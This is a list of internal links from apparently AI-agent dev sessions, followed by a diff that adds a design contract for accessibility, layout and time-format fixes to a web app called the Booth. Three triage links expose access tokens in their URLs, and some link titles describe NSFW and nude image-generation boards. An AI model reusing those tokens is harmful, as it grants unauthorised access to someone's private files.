- [Cicada repo (was Imogen) — embodied voice assistant, design bundle + embodiment](https://gitea.phasefinal.com/vh/cicada) <sub>· brokkr-smithy-dev · 2026-09-20 14:11</sub>
|
||||
- [ShutterChute: denoise strength + EV lift on the 4 darkest Pancake Breakfast frames (1:1 crops)](http://10.100.10.50:8090/b/sc-denoise-ev/) <sub>· shutter-dev · 2026-09-20 15:12</sub>
|
||||
- [ShutterChute: DSC03888.ARW (ISO 12800, darkest frame) + current style — for authoring a working denoise in darktable](http://10.100.10.50:8090/b/sc-denoise-raw/) <sub>· shutter-dev · 2026-09-20 15:27</sub>
|
||||
- [Cutesy robot girl — 5 briefs x 2 seeds, 259-372 Hz, plus three robot textures (EVE / classic / WALL-E)](http://10.100.10.50:8090/b/robot-girl/) <sub>· tts-dev · 2026-09-20 15:53</sub>
|
||||
- [cicada-raw is LIVE — fastest voice on the fleet at 220.2 ms; reference + clones + the defect I retracted](http://10.100.10.50:8090/b/cicada-raw/) <sub>· tts-dev · 2026-09-20 16:06</sub>
|
||||
- [ShutterChute: denoise strength ladder on the REPAIRED split — 1:1 crops, 4 dark frames](http://10.100.10.50:8090/b/sc-denoise-strength/) <sub>· shutter-dev · 2026-09-20 16:24</sub>
|
||||
- [ShutterChute: four-way denoise comparison — no denoise / classical / SCUNet (automatable) / neural restore](http://10.100.10.50:8090/b/sc-denoise-fourway/) <sub>· shutter-dev · 2026-09-20 17:25</sub>
|
||||
- [ShutterChute: RawNIND UtNet2 pre-demosaic — 8.01 to 2.07 at 2.8s/frame, running outside darktable](http://10.100.10.50:8090/b/sc-rawdenoise/) <sub>· shutter-dev · 2026-09-20 18:47</sub>
|
||||
- [ShutterChute: frequency-selective detail recovery after raw AI denoise](http://10.100.10.50:8090/b/sc-detail-recovery/) <sub>· shutter-dev · 2026-09-20 18:54</sub>
|
||||
- [ShutterChute: raw AI denoise @70% across six frames, mean luminance 20 to 148](http://10.100.10.50:8090/b/sc-iso-spread/) <sub>· shutter-dev · 2026-09-20 18:58</sub>
|
||||
- [raw-denoise first real-model run: A raw vs B linear TIFF (black) vs C sRGB-encoded (tonality right, colour wrong)](http://10.100.10.50:8090/b/denoise-first-run/) <sub>· shutter-dev · 2026-09-21 06:45</sub>
|
||||
- [Pancake Breakfast low-light: raw vs denoised+2EV, full res + 1:1 crops; 3.3-3.5x noise reduction measured](http://10.100.10.50:8090/b/pancake-denoise/) <sub>· shutter-dev · 2026-09-21 07:02</sub>
|
||||
- [raw-denoise: TIFF handoff vs LinearRaw DNG handoff - the colour fix, before/after](http://10.100.10.50:8090/b/dng-handoff/) <sub>· shutter-dev · 2026-09-21 07:38</sub>
|
||||
- [EV ladder on a denoised Pancake frame: face luma vs frame median vs the 18% grey reference](http://10.100.10.50:8090/b/ev-ladder/) <sub>· shutter-dev · 2026-09-21 07:51</sub>
|
||||
- [golden-frame candidates for the one-and-done white balance: two lighting clusters, two each](http://10.100.10.50:8090/b/golden-candidates/) <sub>· shutter-dev · 2026-09-21 07:57</sub>
|
||||
- [Sindra @ 20 (v2, replaced) — 5 NSFW engines x 4 scenes x 2 seeds, 40 renders + 4 sheets + the age-lever diagnostic](http://10.100.10.50:8090/b/sindra20-engines/) <sub>· comfy-dev · 2026-09-21 07:57</sub>
|
||||
- [vibrance/saturation spike: 4 steps on a well-lit and a recovered frame; which colorbalancergb float is which, measured](http://10.100.10.50:8090/b/vibrance-spike/) <sub>· shutter-dev · 2026-09-21 08:29</sub>
|
||||
- [face metering measured on all 696 keepers: gate 20.7% -> 34.2%, 94 frames newly caught](http://10.100.10.50:8090/b/face-metering/) <sub>· shutter-dev · 2026-09-21 08:29</sub>
|
||||
- [darktable 5.6.1 on nh3-dev: the versions disagree, and the vibrance pick was made on 4.2.1](http://10.100.10.50:8090/b/dt56-recheck/) <sub>· shutter-dev · 2026-09-21 09:05</sub>
|
||||
- [Pancake Breakfast re-delivery: all 270 heroes, exposure + denoise + vibrance, SmugMug-ready](http://10.100.10.50:8090/b/pancake-v2-delivery/) <sub>· shutter-dev · 2026-09-21 09:48</sub>
|
||||
- [Draupnir — agent-directed parametric CAD for 3D printing; many harnesses propose, one gate decides](https://gitea.phasefinal.com/vh/draupnir) <sub>· brokkr-smithy-dev · 2026-09-21 10:47</sub>
|
||||
- [Pancake lift spike — Paula vs ours-zero-lift vs ours-metered, 8 frames](http://10.100.10.50:8090/b/pancake-lift-spike/) <sub>· shutter-dev · 2026-09-21 10:55</sub>
|
||||
- [Pancake dark band (face 17-42) — Paula vs ours at zero lift](http://10.100.10.50:8090/b/pancake-dark-band/) <sub>· shutter-dev · 2026-09-21 10:57</sub>
|
||||
- [Lift ladder — your 15 labelled frames at zero / +0.67 / +1.33 EV](http://10.100.10.50:8090/b/pancake-lift-ladder/) <sub>· shutter-dev · 2026-09-21 11:22</sub>
|
||||
- [Saturation+vibrance ladder — current / 75% / 50%, zero lift throughout](http://10.100.10.50:8090/b/pancake-saturation/) <sub>· shutter-dev · 2026-09-21 11:22</sub>
|
||||
- [Pancake v3 — the full 270 at cap 4/3, saturation 33%, gate/meter split](http://10.100.10.50:8090/b/pancake-v3-full/) <sub>· shutter-dev · 2026-09-21 13:29</sub>
|
||||
- [Pancake v3 — the 53 lifted frames vs Paula, worst blown first](http://10.100.10.50:8090/b/pancake-v3-lifted/) <sub>· shutter-dev · 2026-09-21 13:29</sub>
|
||||
- [Sigmoid colour test — Paula vs per-channel / RGB-ratio / smooth, 6 lifted + 2 unlifted controls](http://10.100.10.50:8090/b/pancake-sigmoid/) <sub>· shutter-dev · 2026-09-21 14:15</sub>
|
||||
- [Draupnir: 5 of 6 gate checks real — min-wall lands and the control pair finally separates (thin-wall FAILs at 1.0001mm vs 1.2mm floor); renders, STLs, calibration data](http://10.100.10.50:8090/b/draupnir-first-stl/) <sub>· draupnir · 2026-09-21 14:25</sub>
|
||||
- [Closed loop — 12 samples: Paula vs open-loop vs closed-loop, with EV and blown %](http://10.100.10.50:8090/b/pancake-closed-loop/) <sub>· shutter-dev · 2026-09-21 14:46</sub>
|
||||
- [Draupnir first commission: puck-light diffuser cap — 90.4mm shroud, 55.9% open, renders + STL/STEP (and the gate bug this part found)](http://10.100.10.50:8090/b/draupnir-puck-cap/) <sub>· draupnir · 2026-09-21 14:49</sub>
|
||||
- [Pancake v4 — the full 270 through the closed loop](http://10.100.10.50:8090/b/pancake-v4-full/) <sub>· shutter-dev · 2026-09-21 15:46</sub>
|
||||
- [Pancake v4 — the frames the loop changed, Paula / open / closed, worst blown first](http://10.100.10.50:8090/b/pancake-v4-changed/) <sub>· shutter-dev · 2026-09-21 15:46</sub>
|
||||
- [ShutterChute v0.9.14 on the mini — final triage over the 270 closed-loop deliveries](http://10.100.10.50:8477/?token=wtIRzaqmRQ3Qg2cjUwMZjd-OvNFB9UP3GXyGjDW2d-E&triage=/Users/paulahoang/Photos/PancakeBreakfast/deliver-shutterchute-260921) <sub>· shutter-dev · 2026-09-21 21:07</sub>
|
||||
- [ShutterChute v0.9.15 on the mini — triage, fit fixed](http://10.100.10.50:8477/?token=dG9y44XQmJfH7q8Wy_o2KKeIxGnUeP5zh8yADOoEYA4&triage=/Users/paulahoang/Photos/PancakeBreakfast/deliver-shutterchute-260921) <sub>· shutter-dev · 2026-09-21 21:50</sub>
|
||||
- [ShutterChute v0.9.16 — triage: centred delete tag, 1:1 pans](http://10.100.10.50:8477/?token=Nx9zEhTOXIfCrmpA72OEqEHGz7atxKQL8y5v3ecoW98&triage=/Users/paulahoang/Photos/PancakeBreakfast/deliver-shutterchute-260921) <sub>· shutter-dev · 2026-09-21 22:01</sub>
|
||||
- [cr123a-to-d-sleeve — renders, STL + STEP, gate WARN on the 0.8 mm shoulder](http://10.100.10.50:8090/b/cr123a-to-d-sleeve/) <sub>· draupnir · 2026-09-21 23:14</sub>
|
||||
- [Sindra @ 20 EVIDENCE BOARD — all 20 sheets + diagnostics, zero single frames (replaces the 122-image finalists board)](http://10.100.10.50:8090/b/sindra-evidence/) <sub>· comfy-dev · 2026-09-21 23:33</sub>
|
||||
- [infra-ops: five ERP run-7 decisions, open and unanswered since 2026-09-09](http://10.100.10.50:8090/b/run07-decisions/) <sub>· brokkr-smithy-dev · 2026-09-21 23:52</sub>
|
||||
- [Moody vs Realism BAKEOFF — 8 new scenes (4 SFW / 4 NSFW, no bedroom), 32 renders; verdict is a framing-dependent split](http://10.100.10.50:8090/b/sindra-bakeoff/) <sub>· comfy-dev · 2026-09-22 00:20</sub>
|
||||
- [krea2 LoRA portability test — RAW-trained LoRAs DO activate on distilled turbo checkpoints (3 seeds, null+negative+positive controls)](http://10.100.10.50:8090/b/krea2-lora-portability/) <sub>· comfy-dev · 2026-09-22 01:53</sub>
|
||||
- [The High Seat — SVOS board + Miranda (nh3-dev)](http://10.100.10.50:8770) <sub>· svos-dev · 2026-09-22 08:29</sub>
|
||||
- [Sindra training corpus pass 1 (54 frames) + the two validated fixes before the corrected re-render](http://10.100.10.50:8090/b/sindra-corpus-v1/) <sub>· comfy-dev · 2026-09-22 09:10</sub>
|
||||
- [Miranda re-minted Icelandic — 4 briefs x 2 seeds + Swedish/Norwegian discrimination controls + the incumbent](http://10.100.10.50:8090/b/miranda-is/) <sub>· tts-dev · 2026-09-22 10:41</sub>
|
||||
- [Sindra nude selection pool — 36 frames (10 rear), pick ~10 matching body shapes](http://10.100.10.50:8090/b/sindra-nude-pool/) <sub>· comfy-dev · 2026-09-22 11:08</sub>
|
||||
```
|
||||
@@ -0,0 +1,515 @@
|
||||
---
|
||||
contract_version: "0.1"
|
||||
status: "PROPOSED 2026-09-28 by design-dev. The operator ordered the fix slices from the anti-slop run (booth `booth-antislop`, report `~/.local/share/design-dev/research/booth-antislop-2026-09-28.md`) in design-dev's session: \"go with your recommendations, push, start the fix slices\". Each slice is staged as its own ref (`design-dev/antislop-sN`) for booth-dev's gate: suite, mutation tables and a bug-hunt."
|
||||
module: "the Booth's rendered surface: filters in booth/app.py, templates, booth/static/embed.js"
|
||||
purpose: "Fix what the anti-slop run found (the Impeccable detector at 1280 and 390 in light and dark, plus a Vercel Web Interface Guidelines review), one slice at a time, without moving any invariant."
|
||||
depends_on:
|
||||
- "app.py: the Jinja Environment and its filters (`human_dur`, `date_iso`, `date_stamp`, `date_day`, `date_ago`); the note/answer routes that record `who = request.client.host`."
|
||||
- "marks.py: `Mark.created`, `Mark.by`; asks.py: `answer.answered_at`, `answer.answered_by` (ISO strings with microseconds and an offset, written by `now_stamp`)."
|
||||
- "links.py: `parse_link_entries` -> `when` (the text a `booth link` row carries, today `YYYY-MM-DD HH:MM`)."
|
||||
- "items.py: `booth_items`, `Item.kind`, and `render_doc_body` as the pattern for a per-surface step; thumbs.py: the EXIF orientation rule in `ensure_thumb` (S5c)."
|
||||
- "base.html's in-place client as S5b left it: `unsent`, `landed`, `runAll`, `carry`/`detailsMap`, `focusRecord`/`focusRestore` (S5c)."
|
||||
language: "python + jinja"
|
||||
complexity: "low per slice"
|
||||
touches:
|
||||
- "booth/app.py (filters)"
|
||||
- "booth/templates/_marks.html, _ask_inline.html, booth.html (S1)"
|
||||
- "booth/templates/base.html, view.html; booth/static/embed.js (S2)"
|
||||
- "booth/templates/base.html, view.html, compare.html; tests/test_antislop_browser.py (S3)"
|
||||
- "booth/templates/base.html (S4, S6)"
|
||||
- "booth/app.py (`human_dur`); every page template; booth/static/embed.js (S5a)"
|
||||
- "booth/templates/base.html (the in-place client), view.html, compare.html; booth/static/embed.js (S5b)"
|
||||
- "booth/templates/base.html (BoothKeys, the doc bar, scroll padding, Reveal all, `unsent`), booth.html (the grid keys, the doc bar, tile sizes, reveals), view.html, compare.html, doc.html (keys, reveals); booth/items.py (`image_dims`), booth/thumbs.py (`drawn_size`), booth/app.py (`build_gallery`) (S5c)"
|
||||
- "tests/test_antislop.py; tests/mutations/antislop.toml"
|
||||
assumptions:
|
||||
- "ONE VIEWER, on this box: local time is the operator's time (US Pacific), as the existing date filters already assume."
|
||||
- "Stored data does not change shape. Every slice changes only what is RENDERED: `.marks.json`, `links.md` and the answer records keep their exact bytes."
|
||||
- "Hardening of `render_doc` (raw HTML in docs) and front matter are booth-dev's, by agreement on 2026-09-28; this contract does not touch `render_doc`."
|
||||
---
|
||||
|
||||
# The anti-slop fix slices
|
||||
|
||||
The run found that the Booth is sound on desktop and has a set of problems a viewer feels: clock times that break the house form, layouts that break at phone width, controls you can barely see in the light theme, and keyboard and screen-reader plumbing. The slices below fix them in an order that keeps each ref small enough to gate. Every slice keeps the six invariants (CLAUDE.md), and in particular:
|
||||
- the server renders every state, and scripts only place it;
|
||||
- autoescape stays on;
|
||||
- every ordered surface keeps its stated order;
|
||||
- blur honesty holds.
|
||||
|
||||
## S1 — the house clock
|
||||
|
||||
**The rule** (operator convention, 2026-09-24): a clock time the operator reads is 24-hour local time (US Pacific), written as four digits with no colon (`0848`). Raw ISO stamps, `HH:MM`, microseconds, offsets and a poster's IP address do not appear in visible text.
|
||||
|
||||
- **One filter decides the visible form: `clock`.**
|
||||
- It takes an ISO-8601 string (with or without microseconds and an offset), an epoch number, or the link board's `YYYY-MM-DD HH:MM`.
|
||||
- It returns `D Mon HHMM` in local time (for example `28 Sep 0848`), with the year after the month only when it is not the current year (`6 Sep 2025 2335`).
|
||||
- A value it cannot read is returned **as given**, never a guess and never an exception: the Desk and the board render many rows in one response, and one bad stamp must not 500 the page. An empty value returns `""`.
|
||||
- *Falsifiable:* a `clock` that formats `%H:%M` fails `test_clock_forms`. A `clock` that raises on garbage fails `test_clock_never_raises`.
|
||||
- **One filter decides who is shown: `byline`.** It returns the recorded `by` / `answered_by` unless it parses as an IP address (v4 or v6), in which case it returns `""`. The stored value is unchanged; the u2 contract still records the client host.
|
||||
- *Falsifiable:* a `byline` that passes IPs through fails `test_byline_hides_addresses`.
|
||||
- **Where the filters apply.** Every visible stamp goes through `clock` and every byline through `byline`, and each clock sits in a `<time>` whose `datetime` carries the value exactly as stored:
|
||||
- a pick's answer line and a memo's line (`_marks.html`);
|
||||
- the inline ask's state tag (`_ask_inline.html`, so the embed chrome inherits it);
|
||||
- the link board's row time (`booth.html`).
|
||||
- *Falsifiable:* the marks page, the lightbox's verdict aside, the embed fragments and the board carry no visible `HH:MM`, no `T08:48`-shaped stamp and no IP: `test_rendered_marks_use_the_house_clock`, `test_board_rows_use_the_house_clock`, `test_embed_fragment_uses_the_house_clock`. Removing the filter from any one of those templates turns its test red.
|
||||
- **The date tooltips follow suit.** `date_stamp` (the `title` of every created/updated `<time>`) renders `YYYY-MM-DD HHMM`.
|
||||
- *Falsifiable:* `%H:%M` in `date_stamp` fails `test_date_stamp_is_house_form`.
|
||||
|
||||
- **Folded from the heid bug-hunt** (panel 4/4, thread `01M3MGPFKWBX0SJK5HFE0P3AFM`):
|
||||
- `clock` converts a number inside its guard: an int past float range was an `OverflowError` (Q1).
|
||||
- A date or an ISO week renders its day and no invented `0000` (Q8).
|
||||
- `byline` also hides an address dressed as `addr:port`, `[v6]:port` or `addr/prefix`, or behind invisible characters (Q7).
|
||||
- The board row's author goes through `byline` like every other surface (Q5).
|
||||
- *Falsifiable:* the rows marked Q1, Q5, Q7 and Q8 in `antislop.toml`.
|
||||
- **Refuted, with the reason:** a malformed answer missing `unanswered` does not 500 the marks panel (Q3). The Booth's Jinja uses the default `Undefined`, whose `|length` is 0; the no-op fix was reverted when its falsifier stayed green. `test_a_malformed_answer_costs_its_line_not_the_page` stays, as a guard against a switch to `StrictUndefined`.
|
||||
- **Accepted as known risk, with reasons:**
|
||||
- Zone-less mark stamps are read as local by `clock` and as UTC by the ordering path (Q4). No writer produces one: `now_stamp` and the legacy import both stamp with `.astimezone()`. Only a hand-edited file could.
|
||||
- A board time inside the spring-forward gap renders the normalised hour (Q6). No clock can write a local time that does not exist.
|
||||
|
||||
**Out of S1:** the CLI keeps writing its board rows as it does today. The board is a multi-writer file other sessions parse, so its storage form is not changed; `clock` reads both forms.
|
||||
|
||||
## S2 — legibility
|
||||
|
||||
**The rule.**
|
||||
- Faded is not legible. A de-emphasised line is quieter by size, weight or a muted colour, never by `opacity`: opacity takes whatever contrast the line had and divides it.
|
||||
- Labels are 11px or larger (`--size-micro`).
|
||||
- A sentence-like line is 12px or larger (`--size-caption`).
|
||||
|
||||
- **Review arrows on a light stage.** The ‹ › glyph sits on a translucent dark chip. At 60% the chip let a light stage through, and the thin glyph sampled at a median of 2.9:1 (the detector's pixel method; by colour it is about 4:1). The chip is at least 80% dense, so the glyph clears 7:1 over the lightest stage by colour, and reads at pixel level too.
|
||||
- *Falsifiable:* a chip back at 60% fails `test_review_arrows_hold_over_a_white_stage`, which composites the glyph over the chip over white.
|
||||
- **The filmstrip numbers are labels:** `--size-micro`, not 9.5px.
|
||||
- *Falsifiable:* 9.5px fails `test_film_numbers_meet_the_label_floor`.
|
||||
- **Retired benches keep their contrast.** The row carries no `opacity`. The link and URL take `--text-muted`, and the state word says RETIRED.
|
||||
- *Falsifiable:* `opacity:.5` back on the row fails `test_retired_benches_are_not_faded`.
|
||||
- **The marks' state stamp** (`? open`, `✓ answered`) is a label at `--size-micro`, not 10.5px.
|
||||
- *Falsifiable:* `test_mark_state_meets_the_label_floor`.
|
||||
- **The inline ask's state tag** (the embed chrome's `✓ answered 28 Sep 0848`) is a label at 11px, not 10.5px. S1's `<time>` made the detector measure it on its own.
|
||||
- *Falsifiable:* `test_the_ask_tag_meets_the_label_floor`.
|
||||
- **Hint lines are sentences:**
|
||||
- the Desk's section rules (`.desk-rule`: "oldest question first", "running things");
|
||||
- the board's note;
|
||||
- the bench head's note.
|
||||
|
||||
They sit at `--size-caption`.
|
||||
- *Falsifiable:* `test_hint_lines_meet_the_sentence_floor`.
|
||||
- **The embed chrome fades nothing.** An answered ask's option details and its "recorded:" line inherit the host page's own text colour, with no `opacity`, so they carry the host's contrast whatever the host is. The embed cannot know the host's palette; its own palette follows the Booth theme, not the report. The notes field's placeholder inherits that colour at 75%, where it had been the browser's grey (3.5 to 4.3:1 on dark).
|
||||
- *Falsifiable:* `test_embed_fades_nothing`.
|
||||
- **Folded after the first gate run:** three more labels were below the 11px floor, and they are now `--size-micro` like the rest. They are the flagged tray's number (10px), the tile's "flagged" stamp (10.5px) and compare's A/B badge (9.5px). The report's list had named only the film numbers. *Falsifiable:* the same computed-style test, and three more rows.
|
||||
- **Folded from the heid bug-hunt.** The embed's ask title no longer fades either (`opacity:.62` on `.bk-ask-title` contradicted "nothing fades", Q9). The claims above are also held on the browser's computed style (`tests/test_antislop_s2_browser.py`): a stylesheet grep cannot see a later rule in the cascade (`font-size:1px`, `color:transparent`, `filter:grayscale`, a placeholder at `opacity:0`), and the browser can.
|
||||
|
||||
## S3 — phone layouts
|
||||
|
||||
**The rule:** at phone width (≤600px), no text overprints other text, and no single word is set in a column narrower than itself. These claims are measured in a real browser at 390×844 (`tests/test_antislop_browser.py`), because a layout claim read off a stylesheet is a guess.
|
||||
|
||||
- **Bench rows wrap instead of squeezing.** At ≤600px a row wraps. The state word and the bench (name over URL) take the first line; who, when, the state buttons and × take the second, indented under the name.
|
||||
- *Falsifiable:* without the wrap, the name, owner and date boxes intersect: `test_bench_rows_do_not_overprint_on_a_phone`.
|
||||
- **An inline doc's name keeps its line.** At ≤600px the doc bar wraps. The name takes the full width and breaks only where it must (`overflow-wrap:anywhere`, not `word-break:break-all`); the actions wrap under it.
|
||||
- *Falsifiable:* `test_doc_name_keeps_a_readable_line_on_a_phone`.
|
||||
- **The link board's headers stay compact.** At ≤600px the note drops under the count, so the count ("33 links · 1 pinned", "3 benches") stays on one line, in both the board head and the benches head.
|
||||
- *Falsifiable:* `test_board_head_stays_compact_on_a_phone`.
|
||||
- **A file tile's number clears its download link.** The ordinal badge sits in the tile's top-left corner, so a file tile's link starts below it.
|
||||
- *Falsifiable:* `test_file_tile_number_clears_the_download_link`.
|
||||
- **The review and compare pages keep their header to one line on a phone.** At ≤600px they drop the tagline (every other page keeps it), so the header is the brand plus the theme toggle and the stage starts near the top. The class that scopes this is set by the server on `<body>` (`<html>` carries `data-booth`, which the reveal scripts and their tests pin exactly).
|
||||
- *Falsifiable:* `test_review_header_is_one_line_on_a_phone`, which also checks that the Desk keeps its tagline.
|
||||
|
||||
**Measured, not changed** (the detector's rows that are misreads here):
|
||||
- `.vname` already ellipsises; the detector measures the clipped inner width.
|
||||
- The filmstrip clips its next frame at the edge on purpose: the clipped frame is the "there is more" cue of a horizontal scroller.
|
||||
|
||||
## S4 — reading measure
|
||||
|
||||
**The rule:** a rendered document reads at a book's measure and says its structure with size.
|
||||
|
||||
- **Measure.** Prose blocks in `.markdown-body` (paragraphs, lists, block quotes, headings, definition lists) are at most `72ch` wide. Wide blocks (`pre`, tables) keep the full width, where they scroll.
|
||||
- *Falsifiable:* on the doc view at 1280 wide, a long paragraph measures at most 76 characters of its own font across: `test_doc_prose_reads_at_a_book_measure`.
|
||||
- **Heading scale.** h3 : body, h2 : h3 and h1 : h2 are each at least 1.18 (h3 `1.2em`, h2 `1.44em`, h1 `1.73em`). Before this, h3 was `1.08em` over its body.
|
||||
- *Falsifiable:* `test_doc_headings_step_by_size`.
|
||||
|
||||
## S6 — the operator's rulings (2026-09-28: "go with your recommendations")
|
||||
|
||||
- **The tagline** is a sentence: `held for review · wipes in {ttl}h unless kept`. It is mono, muted and 12px, in sentence case (no tracked capitals). "Ephemeral" goes, and it stays true to held, kept and counting down, as agreed with booth-dev.
|
||||
- *Falsifiable:* `test_the_tagline_is_a_sentence`: the rendered text, and no `text-transform:uppercase` on `.tagline`.
|
||||
- **"Needs you" rows carry no side stripe.** The row's "? N OPEN" stamp says it. The flagged frame's bottom stripe in the filmstrip stays: it marks state on a thumbnail.
|
||||
- *Falsifiable:* `test_needs_you_rows_carry_no_side_stripe`.
|
||||
- **The brand dot is matte.** Glow means live power (SVOS), and the brand mark is not live. A live bench's dot keeps its glow.
|
||||
- *Falsifiable:* `test_the_brand_dot_is_matte`.
|
||||
- **The hazard stripe sits on a `::before`,** not on the button's background, for Wipe now and the armed bulk delete. The button's own background is honestly transparent (a detector read the 3px background band as the whole background, 1.0:1), and the stripe renders exactly as before.
|
||||
- *Falsifiable:* `test_the_hazard_stripe_is_a_pseudo_element`, in a real browser: no gradient on the button, a 3px striped `::before`.
|
||||
|
||||
## S5a — names, landmarks, focus rings, hit areas
|
||||
|
||||
The markup and CSS half of the interaction work. It changes no script behaviour except where Wipe now's prompt comes from. The in-place client is untouched; that half is S5b.
|
||||
|
||||
- **Every link and button has a word for a name.** A control a screen reader would announce as "×", "⬇", "⤢", "☆", "1:1" or "01" carries an `aria-label`, or the file's name as `.sr-only` text. The visible label stays inside the name (`1:1, natural pixels`).
|
||||
- Covered: the withdraw ×s, downloads, open-full-page, the viewers' close ✕, the board's pin, copy and remove, the bench's remove, the zoom toggle, and the film-strip and flagged-tray frames.
|
||||
- A Desk row's wipe names its booth (`wipe the booth alpha`), so a list of rows is not a list of identical "wipe booth"s.
|
||||
- *Falsifiable:* `test_every_control_has_a_word_for_a_name` (every page, the link board included; the name is computed from `aria-label`, else the text plus each image's `alt`), and `test_desk_row_controls_name_their_booth`.
|
||||
- **Every field has a name that is not its placeholder.** Every note field, the bench's two inputs and the inline ask's notes carry an `aria-label`.
|
||||
- *Falsifiable:* `test_fields_are_named`, on every page and on both embed placements.
|
||||
- **An ask's options are a named group, and its ids are unique.** The inline ask's options are `role="radiogroup"`, labelled by the question's prompt. The marks page's single-question fieldset gets a visually hidden `<legend>`. A titled ask's title takes `bk-ask-<id>-title`: it used to reuse `bk-ask-<id>`, which the question already holds.
|
||||
- *Falsifiable:* `test_radio_groups_are_named_and_ids_are_unique`, checked on each placement the embed makes: either `whole`, or the questions plus `submit`.
|
||||
- **Every page has one h1, a skip link and a named main.** The Desk, the review and compare get a visually hidden h1. A doc's own h1 is content and is not counted.
|
||||
- *Falsifiable:* `test_every_page_has_one_h1_and_a_skip_link`.
|
||||
- **The browser chrome matches the theme:** `theme-color` for light (`#f0f4f5`) and for dark (`#15191d`).
|
||||
- *Falsifiable:* `test_theme_color_for_both_schemes`.
|
||||
- **The review's progress tape is one picture** (`role="img"`, named "N of M seen"). Its segments leave the tab order: the film strip below it holds the same links, named.
|
||||
- *Falsifiable:* `test_the_tape_is_one_picture`.
|
||||
- **Wipe now asks by name.** The Desk's delegated prompt moves to `base.html`, and a booth page's Wipe now uses it. It names the booth, and asks the kept-booth question for a kept booth. This replaces an inline `confirm('Wipe this booth now?')`. With JS off the form still submits, as before.
|
||||
- *Falsifiable:* `test_wipe_now_asks_by_name` (markup), and `test_wipe_now_asks_by_name_in_the_browser`: the dialog's text, and dismissing it wipes nothing.
|
||||
- **Focus rings and hit areas.**
|
||||
- The embed draws its own focus rings, so a host's `outline:none` cannot remove them.
|
||||
- Rings inside `overflow:hidden` containers are drawn inside (`outline-offset:-2px`), where they cannot be clipped.
|
||||
- The withdraw × is at least 24px, and 44px under a coarse pointer.
|
||||
- Controls take `touch-action:manipulation`, and the scrolling strips contain their overscroll.
|
||||
- A long booth slug wraps on a phone.
|
||||
- *Falsifiable:* `test_embed_chrome_draws_its_own_focus_rings`, `test_focus_rings_are_drawn_inside_clipping_containers`, `test_withdraw_buttons_are_big_enough_to_hit` (measured at 1280, and at 390 with touch), and `test_touch_and_scroll_behaviour` (computed style).
|
||||
- **Small truths.**
|
||||
- A why truncated with an ellipsis carries its full text in `title`.
|
||||
- A countdown of 48h or more rolls up to days (`6d 23h`, not `167h 12m`).
|
||||
- *Falsifiable:* `test_a_truncated_why_carries_its_full_text`, `test_human_dur_rolls_up_to_days`.
|
||||
- **Fixup from booth-dev's gate** (a hulda bug-hunt plus heid's second voice, BRINGA, thread `01M3MVGQ7QSCCK8WT59TQ4J469`):
|
||||
- The booth page's "★ kept — release" asks by name, as the Desk's release does.
|
||||
- `WORDS` has no prototype, so a `data-confirm` of `__proto__` or `constructor` is an unknown word, and it asks.
|
||||
- The confirm helper lives in `<head>`, so its capture listener is registered before any form exists. A click during load is asked too; the inline `confirm()` it replaced had that property.
|
||||
- `shown()` also marks U+2028, U+2029, U+200B–U+200D, U+2060 and U+FEFF.
|
||||
- Derived ids take a `:`, which no ask id or question key can contain: `bk-ask-<id>-<key>:prompt` and `bk-ask-<id>:title`. `-prompt` or `-title` collided with valid keys. The asks chip still jumps to it by URL fragment; booth-dev's `test_the_chip_does_not_jump_to_a_mark_that_merely_shares_a_prefix` now looks the target up by `[id=…]`, since a `#` selector cannot hold a `:`.
|
||||
- `human_dur` returns "—" for a value that is not finite, instead of raising.
|
||||
- The tile's copy of a note drops its `id`, because `mark-<id>` names the panel's article (booth-dev's ruling).
|
||||
- The guards the gate found asserting source patterns now also hold on computed effects: the embed's rings are a solid, opaque 2px line under a host that removes outlines; the rings inside clipping containers compute to `-2px`; the withdraw × is measured on both axes; and question-level notes fields are named.
|
||||
- *Falsifiable:* `test_no_id_repeats_on_any_page`, `test_release_on_the_booth_page_asks_by_name` (and its browser twin), `test_a_prototype_word_still_asks`, `test_the_confirm_helper_is_listening_before_the_body_exists`, `test_the_dialog_shows_hidden_breaks_and_zero_widths_visibly`, `test_human_dur_never_raises`, `test_rings_inside_clipping_containers_are_drawn_inside`, `test_the_embed_draws_visible_rings`, and the rows marked "S5a fixup" in `antislop.toml`.
|
||||
- **Existing rows this slice edits** (booth-dev's): two `r2_flow.toml` rows for the confirm helper now name `base.html`, where the helper moved. Their anchors are unchanged.
|
||||
- **Reported, not changed:** mark ids repeat across a tile and its aside (`mark-note-1`). The CLI prints `#mark-<id>` links to them, so the fix is booth-dev's call.
|
||||
|
||||
## S5b — the in-place client: focus, a status line you can see, and drafts that are not lost silently
|
||||
|
||||
The script half of the interaction work: guidelines items G1, G2, G4 and G13. The in-place client keeps every promise it makes today:
|
||||
- it never re-POSTs;
|
||||
- saves are serialized;
|
||||
- a batch never reloads.
|
||||
|
||||
This slice changes where the script's words appear, when they are said and how long they last; where focus lands after a swap; and whether leaving a page with an unsent draft asks first. Key handling, the doc bar's summary, thumbnail dimensions, scroll padding and the reveal button's name (G6, G7, G14, G15, G17) are S5c.
|
||||
|
||||
**What INV-6 covers here, stated so it is not read two ways.** INV-6 forbids the script from building markup, and from rendering any state the server owns (marks, answers, counts, dates, blur). The status line's words are about the script's own requests (saving, saved, could not save). The script already writes them today, through `say()`, and it keeps doing so. The script also sets two attributes on existing nodes: `data-tone` on the status line, and `tabindex="-1"` on a fallback focus target. Neither is markup.
|
||||
|
||||
- **Focus survives a swap (G1).**
|
||||
- **Recording.** Before a swap, if `document.activeElement` is a region being replaced, or is inside one, the script records three things:
|
||||
- the region's `data-region` id;
|
||||
- the focused element's key;
|
||||
- its occurrence number `n` among the elements in that region with the same key, in document order.
|
||||
- **The key:**
|
||||
- a form control: `fieldKey`, which is the form's `formKey` plus the field name, plus the value for a radio or checkbox;
|
||||
- a button inside a form: `formKey` plus the button's `name=value`, or plus `button` for an unnamed one;
|
||||
- a link: `a|` plus its `href`;
|
||||
- a `<summary>`: `summary|` plus the `formKey` of the form in its `<details>`.
|
||||
- Anything else, the region node included, has no key.
|
||||
- **Restoring.** After the swap, the script focuses the `n`th element with that key inside the fresh node with the same `data-region` id, with `preventScroll`.
|
||||
- **When that element cannot take focus** because it sits in a `<details>` the fresh page renders closed (an answered pick's form folds into "change answer"), focus goes to that `<details>`' summary, the control that opens it again.
|
||||
- **When there is no such element** (for example, the × of a note just withdrawn), focus goes to that fresh region node. The script sets `tabindex="-1"` on it at that moment. The same happens for a focused element with no key, the region node included, so the NEXT swap lands on the region again. Focus never falls to `<body>` through a swap.
|
||||
